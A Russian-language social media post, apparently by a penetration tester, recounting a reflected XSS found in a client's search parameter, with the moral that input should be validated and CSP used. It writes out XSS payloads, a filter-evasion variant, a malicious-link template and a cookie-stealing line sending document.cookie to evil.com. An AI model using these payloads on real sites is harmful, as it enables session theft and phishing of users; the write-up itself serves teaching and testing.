💣 Свою первую уязвимость я нашёл за 3 минуты. И это было эпично

Reflected XSS. Кастомный payload. Боевой пентест для реального клиента, не баг-баунти со своими рамками и политиками — чистый хардкор.

🔍 Точка входа

Клиент попросил провести пентест веб-приложения. Классический сценарий: «У нас всё защищено, но для галочки проверьте». Ну-ну, сейчас посмотрим.

Первым делом — reconnaissance. Запускаю Burp Suite, настраиваю Proxy, перехватываю запросы. Открываю целевой сайт, кликаю по формам, смотрю на URL-параметры. И тут замечаю классику: поисковая строка, которая отправляет GET-запрос типа `?search=test`.

Проверяю ответ в Repeater — инпут отдаётся прямо на страницу без какой-либо фильтрации. Браузер просто рендерит то, что я закидываю в параметр. Моя хакерская интуиция сразу заорала: «Это оно!».

💻 Что бросилось в глаза

На странице результатов поиска вижу:

<p>Результаты поиска по запросу: test</p>

Значит, моё значение параметра `search` напрямую вставляется в HTML без санитизации. Нет ни `htmlspecialchars()`, ни Content Security Policy (CSP), ни WAF’а, который бы фильтровал инпут. Админ явно подумал, что «это же просто поиск, куда там XSS».

Красная тряпка для хакера. Время экспериментировать.

🪝 Вектор атаки

Начинаю с базового теста:

?search=&lt;script&gt;alert(1)&lt;/script&gt;

Отправляю через Repeater — смотрю в ответ. Payload прошёл насквозь. Браузер выполнил скрипт, алерт вылез. Но это слишком очевидно, хочется покреативнее.

Решаю собрать кастомный payload под контекст. Использую SVG-вектор с обработчиком события:

?search=<svg onload=alert(document.domain)>

Boom! Алерт с доменом приложения. Payload сработал — браузер интерпретировал SVG-тег, выполнил JavaScript в контексте целевого сайта. Это уже не просто PoC, а демонстрация, что можно украсть cookies, токены сессии, провести фишинг — всё что угодно.

⚡ Эксплуатация и лайфхаки

Чтобы сделать payload менее палёвным (на случай если бы был какой-то basic фильтр), добавил лёгкую обфускацию:

?search=<svg/onload=alert(String.fromCharCode(88,83,83))>

`String.fromCharCode(88,83,83)` — это просто “XSS” в ASCII-кодах. Фильтры часто палятся на ключевые слова типа `alert`, `document.cookie`, но пропускают закодированные варианты.

Инструменты, которые рулили:

• Burp Suite — мой верный друг . Proxy для перехвата, Repeater для тестирования payload’ов, Intruder для перебора вариаций.

• Браузерная консоль — быстро проверить, как рендерится HTML и выполняется JS.

• OWASP XSS Filter Evasion Cheat Sheet — библия для обхода фильтров.

Что ещё можно было сделать: Если бы нужно было углубиться, я бы попробовал украсть cookies через:

<script>fetch('https://evil.com?c='+document.cookie)</script>

Или внедрить keylogger, перехватывающий ввод данных жертвы . Но для первого репорта хватило и PoC с алертом.

🚩 Почему это сработало

Отсутствие input validation — главная причина . Приложение доверяло пользовательскому вводу, не проверяя его на наличие вредоносного кода.

Нет CSP — Content Security Policy мог бы заблокировать выполнение inline-скриптов. Но его не было.

Reflected XSS — это когда вредоносный код не сохраняется на сервере, а сразу отражается в ответе. Атакующий создаёт вредоносную ссылку типа:

https://target.com/search?search=<svg onload=alert(1)>

И отправляет её жертве через фишинг, соцсети или email. Жертва кликает — скрипт выполняется в контексте доверенного сайта.

💥 Итоги

Время до находки: 3 минуты.

Сложность эксплуатации: низкая.

Потенциальный ущерб: высокий — кража сессий, phishing, дефейс.

Первая уязвимость — это всегда особенное чувство. Как первый root на чужом сервере: руки чуть дрожат, адреналин зашкаливает, а в голове уже планируешь цепочку эксплуатации.

Вывод: Если XSS ловится за 3 минуты — это не ты молодец (хотя респект себе всё равно), это админ забыл про азы безопасности. Но payload я собрал сам, не из копипаста, адаптировал под контекст — вот это уже скилл.

🔥 Мораль: Всегда валидируйте инпут. Или ко мне в пентест придут ещё быстрее, чем за 3 минуты.

43 views·3 shares